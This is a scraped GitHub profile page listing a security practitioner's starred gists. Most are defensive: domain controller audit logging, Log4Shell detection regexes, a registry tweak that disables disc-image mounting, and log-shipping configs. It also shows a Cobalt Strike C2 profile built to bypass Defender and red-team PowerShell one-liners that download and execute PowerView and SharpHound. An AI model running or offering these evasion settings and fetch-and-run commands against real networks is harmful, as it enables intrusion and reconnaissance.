Skip to content

Instantly share code, notes, and snippets.

View rdmershon's full-sized avatar
💭
Always busy

Rob rdmershon

💭
Always busy
5 followers · 17 following
View GitHub Profile
@rdmershon
rdmershon / Microsoft Domain Controller Audit Logging Recommendations
Last active May 9, 2023 17:36
I can never remember this, but it's important to never assume a DC has been configured to audit correctly.
Microsoft Best Practices for logging, Success \| Failure is what the Yes \| No correspond to
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations
Kerberoasting Detection (shout out to Red Canary even though you expensive as hell https://redcanary.com/blog/marshmallows-and-kerberoasting/)
Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon
– Audit Kerberos Authentication Service: Success and Failure
– Audit Kerberos Service Ticket Operations: Success and Failure
@tothi
tothi / minimal-defender-bypass.profile
Last active August 15, 2025 09:08
Minimal Cobalt Strike C2 Profile for Bypassing Defender
# in addition to the profile, a stage0 loader is also required (default generated payloads are caught by signatures)
# as stage0, remote injecting a thread into a suspended process works
set host_stage "false";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62";
set sleeptime "10000";
stage {
set allocator "MapViewOfFile";
set name "notevil.dll";
@tsudo
tsudo / log4j_log4shell_resources.md
Last active December 15, 2021 17:05
Log4J / Log4Shell Resources
@Neo23x0
Neo23x0 / log4j_rce_detection.md
Last active October 4, 2025 08:06
Log4j RCE CVE-2021-44228 Exploitation Detection

log4j RCE Exploitation Detection

You can use these commands and rules to search for exploitation attempts against log4j RCE vulnerability CVE-2021-44228

Grep / Zgrep

This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders

sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log
@MHaggis
MHaggis / RedTeam_CheatSheet.ps1
Created November 25, 2019 16:06 — forked from m8sec/RedTeam_CheatSheet.ps1
Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@wdormann
wdormann / disable_discimage.reg
Last active January 2, 2026 07:45
Disable Windows Explorer file associations for Disc Image Mount (ISO, IMG, VHD, VHDX)
Windows Registry Editor Version 5.00
[-HKEY_CLASSES_ROOT\.iso]
[-HKEY_CLASSES_ROOT\Windows.IsoFile\shell\mount\command]
[-HKEY_CLASSES_ROOT\.img]
[-HKEY_CLASSES_ROOT\.vhdx]
@tankhuu
tankhuu / filter-geo-location.conf
Last active June 8, 2023 15:41
Logstash sample configuration files
filter {
mutate {
rename => { "lon" => "location" }
merge => { "location" => "lat" }
}
mutate {
convert => { "location" => "float" }
remove_field => ["lat"]
}
date {
@hortonew
hortonew / Example-Splunk-Outputs.conf
Created March 21, 2017 16:40
[tcpout]
defaultGroup = mySplunkIndexers
maxQueueSize = 7MB
[tcpout:mySplunkIndexers]
server = 10.10.10.10:9997, 10.10.10.20:9997
autoLB = true
useACK = true
@rebornix
rebornix / logstash.conf
Created January 15, 2016 05:58
Logstash configuration for IIS log.
input {
file {
type => "IISLog"
path => "C:/inetpub/logs/LogFiles/W3SVC*/*.log"
start_position => "beginning"
}
}
filter {
@fomightez
fomightez / remove blank lines regex.md
Last active March 18, 2026 18:47
remove all blank lines using regular expressions